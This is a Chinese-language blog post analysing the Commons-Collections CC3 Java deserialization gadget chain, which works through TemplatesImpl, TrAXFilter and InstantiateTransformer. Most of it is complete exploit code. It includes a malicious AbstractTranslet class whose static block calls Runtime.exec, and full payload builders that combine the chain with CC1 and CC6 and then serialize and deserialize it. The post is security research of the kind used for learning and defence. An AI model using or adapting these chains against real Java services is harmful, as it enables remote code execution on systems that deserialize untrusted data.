首页 > 其他分享 >CC3链子分析

CC3链子分析

时间:2023-06-07 22:25:37浏览次数:43  
标签:分析 TemplatesImpl 链子 import CC3 new apache org class

<1> 环境分析

前两条 CC1和CC6利用invoke反射调用Runtime().getRuntime().exec()执行命令 很多时候服务器的代码当中的黑名单会选择禁用 Runtime

CC3是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码的

这里测试环境为:
jdk:jdk8u65
CC:Commons-Collections 3.2.1

<2> 链子分析

CC3的sink点在于 defineClass()
但是只加载恶意类 不初始化的话 是不会执行代码的,还需要一个 newInstance 初始化的操作。

defineClass() 往往都是 protected类型的 只能通过反射去调用

但是下面我们会介绍到一个类 它就是CC3 rce的利用点

(1)TemplatesImpl 解析

在我们前面 类加载机制这篇文章 https://www.cnblogs.com/1vxyz/p/17245206.html 中提到了一种利用TemplatesImpl 加载字节码的方法

它的链子为:

/*
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()
*/

TemplatesImpl类 这个类存在一个内部类 TransletClassLoader 继承了 ClassLoader并且重写了 defineClass 方法 重写的defineClass方法可以被外部类调用

我们再看看TemplatesImpl里哪里调用了defineClass

defineTransletClasses() 调用了,可惜也是一个 private 私有属性

再找 我们找到了这个 getTransletInstance()

这个 他不仅对__class作了判断,为空的话赋值,赋完值后还调用了 newInstance() 那我们就重点关注这个函数了,能用的话,就相当于我们就可以动态执行我们的代码了

这个也是private的,我们再往上找 就找到了这个 newTransformer() 这个是public的

这就是这个 TemplatesImpl的链子

(2) TemplatesImpl 利用

逻辑分析

链子函数之间的关系找到了之后,我们来看一看详细调用过程 看看怎么利用

这里 newTransformer()

这里 会直接调用 getTransletInstance
不需要满足一些条件 我们跟进

这里我们

  • 需要赋值 _name
  • 不能赋值 _class

因为我们就是想调用defineTransletClasses
继续跟进 defineTransletClasses

  • _bytecodes需要赋值
  • _tfactory 需要赋值

_bytecodes 不赋值就抛异常了,_tfactory需要调方法的 也需要赋值

编写exp

我们需要通过反射 给 TemplatesImpl 的 _name、_bytecodes、_tfactory 赋值

  • _name 的值,这里需要的是 String,所以我们简单赋个 String
  • _bytecodes 的值,这里需要的是byte[][] 但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码

可以这样赋值

byte[] evil = Files.readAllBytes(Paths.get("evil.class"));  
byte[][] codes = {evil};
  • _tfactory 这里比较难 private transient TransformerFactoryImpl _tfactory = null;
    是transient类型的 无法写进序列化里
    直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可
    readObject里有给它的赋值语句 _tfactory = new TransformerFactoryImpl();
    所以直接在反射中将其赋值为 TransformerFactortImpl 即可

反射赋值操作实际上是重复的 这里我们写一个方法来实现


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        templates.newTransformer();

    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

报错?调试跟进解决

运行 发现在 defineTransletClasses 报了空指针错误 ??? 我们跟进去调试一下看看

在这里它进行了一个父类的判断 判断它父类是不是这个 ABSTRACT_TRANSLET

不是的话会调用下面 _auxClasses.put

那么现在就有两种方法

  • 要么 让它父类 equals ABSTRACT_TRANSLET
  • 要么 让 _auxClasses 不为null
    但是我们注意到下面也有一个判断
if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1 也不得行 还会报错

因此我们应该满足 构造的那个类 父类是 ABSTRACT_TRANSLET

是 abstract抽象类,因此我们也要重写这个类的方法

恶意类应该改为:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

现在执行一下试一下 代码就成功执行了

(3) CC1 + TemplatesImpl 结合

上面TemplatesImpl 搞懂了之后 就好说了
我们不是要执行 TemplatesImpl.newTransformer() 方法嘛

这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer()

链子没变 只是最后命令执行方式改了一下
修改exp为:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1_TemplatesImpl {
        public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","1vxyz");
            byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
            byte[][] codes = {code};
            setFieldValue(templates,"_bytecodes",codes);
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

            //templates.newTransformer();
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(templates),
                    new InvokerTransformer("newTransformer", null,null),
                    };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            //chainedTransformer.transform(1);
            HashMap<Object,Object> map = new HashMap<>();
            Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

            Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationhdlConstructor.setAccessible(true);
            InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

            Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
            //serialize(o);
            unserialize("cc1_templatesImpl.bin");
        }

        public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
            Class clazz=object.getClass();
            Field declaredField=clazz.getDeclaredField(field_name);
            declaredField.setAccessible(true);
            declaredField.set(object,filed_value);
        }

        public static void serialize(Object o) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1_templatesImpl.bin"));
            oos.writeObject(o);
        }
        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
            ois.readObject();
        }
    }

(4) CC6 + TemplatesImpl 结合

同理

CC6与 TemplatesImpl结合的话,也是最终sink点 transform反射调用 TemplatesImpl.newTransformer()

exp如下:

```plaintext
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6_TemplatesImpl {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");
        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null,null),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));


        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);

        //serialize(map2);
        unserialize("sercc6_templatesImpl.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc6_templatesImpl.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

(5) CC3本身

链子分析

事实上 我们利用这个 TemplatesImpl加载恶意类 是通过
TemplatesImpl.newTransformer()

我们还可以再往上找找,看有没有什么地方调用了 newTransformer() 可以被利用呢?

这里我们找到了 TrAXFilter类

为什么利用点是 TrAXFilter类 不是其他两个呢

  • Process 这个在 main 里面,是作为一般对象用的,所以不用它
  • 第二个 getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用
  • TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参
  • 至于TrAXFilter,虽然它也是不能序列化的,但是它的构造函数里有搞头

查看这个类的构造方法 可以执行这个即可命令执行

_transformer = (TransformerImpl) templates.newTransformer();

我们可以知道,如果可以调用这个构造方法的话,就可以调用我们的 .newTransformer()

但是这个类是不能被序列化的 就只能像之前获取Runtime一样 从它的Class入口 通过构造函数赋值

CC3 这里的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer

可以看一下这个类的transform方法 这里它会判断参数 是否是CLass类型,是的话 然后会获取这个指定参数类型的Class,指构造器 然后调它的构造函数 .newInstance()实例化

完美符合了我们的需求 我们可以通过 InstantiateTransformer.transform() 获取 TrAXFilter类构造器并初始化 实现 templates.newTransformer()

那我们看看它的参数

  • Class[] paramTypes 构造函数的参数类型
  • Object[] args

命令执行代码:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3Test {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);


    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin"));
        oos.writeObject(o);
    }
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

CC3反序列化链EXP

那反序列化的链子 实际上就找 调用了 .transformer()的可控的链就行 我们前面的CC1、CC3都可用,选一个当前半部分即可

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),  // 构造 setValue 的可控参数
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
        //serialize(o);
        unserialize("sercc3.bin");

    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin"));
        oos.writeObject(o);
    }
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

总结

CC3 关键在于理解这个 TemplatesImpl链子 加载恶意类的利用。 构成CC3反序列化链的命令执行点

前面的反序列化链的话,大体上都还是 CC1和CC6的 ···· -> lazyMap.get() -> InvokerTransformer.transform()

总结的流程图:

标签:分析,TemplatesImpl,链子,import,CC3,new,apache,org,class
From: https://www.cnblogs.com/1vxyz/p/17458691.html

相关文章

  • 【深入浅出Spring原理及实战】「夯实基础系列」360全方位分析和探究SpringMVC的核心原
    SpringMVC简介SpringWebMVC是一种基于Java的轻量级Web框架,它实现了WebMVC设计模式,使用VC架构模式的思想将web层进行职责解耦。这种请求驱动类型的框架使用请求-响应模型,旨在简化Web开发过程。使用SpringWebMVC,我们可以更加高效地开发Web应用程序,而不必为了每个接口编写一个Ser......
  • python大数据分析-睡眠健康数据分析
     一、选题的背景 睡眠健康在当代社会中具有重要的意义。随着现代生活方式的改变和工作压力的增加,许多人面临着睡眠问题和健康隐患。因此,对于睡眠健康进行数据分析可以提供有价值的洞察和解决方案,改善人们的生活质量和健康状况。数据分析目标:该数据分析的目标是深入了解睡眠健......
  • 做一个线圈,分析电感
    【修改设置】【ProjectManager】——>【Maxwell3DDesign1(Magnetostatic)】——>右键选中【SolutionType】建立一个涡流 【放置线圈】:直接用库里提供的一些线圈模型。区分截面是多边形还是矩形 修改参数(待补充):截面长宽,匝数每增加一圈线圈半径变化(需大于截面宽度),匝数,每一......
  • python爬虫——爬取泉州2022年天气数据并做可视化分析
     一、选题的背景为什么要选择此选题?要达到的数据分析的预期目标是什么?从社会、经济、技术、数据来源等方面进行描述(200字以内)(10分)天气作为日常生活中不可忽视的因素,对人们的出行、衣食住行等方面均有影响。此次选题旨在通过对泉州市2022年天气数据的收集和分析,了解该地区......
  • 软件性能测试分析
    实验:运行3次不同并发用户数:10,20,30,场景设置:每2秒增加1个用户,运行时长5分钟  10个用户时,响应时间平均在0.189左右,TPS在60/sec左右  20个用户时,响应时间在0.286,TPS在75/sec左右,  30个用户时,响应时间在0.408,运行到20个用户时,TPS在75/sec趋于平稳不再增加,rps也趋于平稳,  ......
  • python大数据分析——股票数据可视化
    一、选题的背景    股票市场一直是金融领域的焦点之一,对股票数据进行大数据分析有助于了解市场趋势、预测价格波动、优化投资策略等。随着大数据技术的快速发展和 应用,越来越多的投资者、交易员和分析师开始利用大数据技术来解读和分析股票市场数据。通过对股票数据的......
  • Python大数据分析—BMI有关因素及健康分析
    一、数据说明1、背景介绍21世纪是人类追求健康的世纪;21世纪是人人享有保健的新时代。健康是人生最宝贵的财富!没有健康的身心一切无从谈起。随着经济发展和人们生活水平的迅速提高,人们在尽情享受现代文明成果的同时,生活条件提高了,可食品安全和环境卫生问题却层出不穷,生活质量......
  • Linux分析进程占用内存最高和占用CPU最高 的 命令
    Linux分析进程占用内存最高和占用CPU最高这里只显示最高的前5个,如果想显示更多的话,可以自己修改:查看占用内存最高的5个进程psaux|sort-k4nr|head-n5查看占用cpu最高的5个进程psaux|sort-k3nr|head-n5......
  • 武汉星起航:亚马逊平台未来发展趋势分析,卖家可做些什么
    作为全球领先的电商平台,亚马逊一直在积极寻求新的发展机遇和创新方向。以下是武汉星起航整理的亚马逊未来发展方向的一些关键观点和趋势:AI技术的广泛应用:亚马逊将进一步发展和应用人工智能(AI)技术,以提升用户体验和服务效率。通过AI技术,亚马逊可以实现更智能化的商品推荐、个性化的购......
  • 大数据分析——对游戏“野蛮时代”玩家进行大数据分析
    一、选题的背景 对游戏“野蛮时代”进行数据分析,首先离不开对游戏的了解,不了解游戏很可能会影响自己的分析,从而得出错误的结论。在体验了游戏之余,混迹了微博、贴吧等社群,对游戏的玩法有了一定了解后,对数据集的各种字段代表的含义也有了一定的理解,由此开始对该数据集进行数据分......